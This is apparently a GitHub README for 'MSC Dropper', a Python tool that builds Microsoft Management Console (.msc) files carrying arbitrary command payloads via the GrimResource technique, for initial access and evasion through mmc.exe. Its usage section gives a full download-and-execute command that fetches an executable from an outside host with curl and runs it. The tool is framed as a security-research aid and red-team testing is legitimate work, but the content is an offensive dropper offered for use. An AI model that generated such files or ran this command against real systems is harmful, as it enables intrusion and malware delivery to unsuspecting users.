MSC Dropper is a Python script designed to automate the creation of MSC (Microsoft Management Console) files with customizable payloads for arbitrary execution.

This tool leverages a method discovered by Samir (@SBousseaden) from Elastic Security Labs, termed #GrimResource, which facilitates initial access and evasion through mmc.exe.

Overview

The script allows users to generate MSC files that can execute arbitrary commands or scripts within the Microsoft Management Console environment.

This capability is particularly useful for security research and testing environments.

Features

  • Automated MSC File Generation: Create MSC files with specified commands or scripts embedded.
  • Payload Customization: Customize the payload to execute any command or script that mmc.exe can invoke.
  • Command-Line Interface: Simple command-line interface for quick generation of MSC files.

Installation

Clone the repository:

git clone https://github.com/ZERODETECTION/MSC_Dropper.git

Usage

Generating An MSC File

To generate an MSC file with a specific command or script:

python msc_dropper.py template1.msc out.msc "cmd /c curl -O http://wslab.de/tools/messagebox.exe && messagebox.exe"

Replace "cmd /c curl -O http://wslab.de/tools/messagebox.exe && messagebox.exe" with the command or script you want to execute. Ensure that the command is formatted correctly to work within the Windows environment and mmc.exe.

Customizing Payloads

You can customize the payload directly within the template1.msc file or modify the script to automate more complex payload generation.

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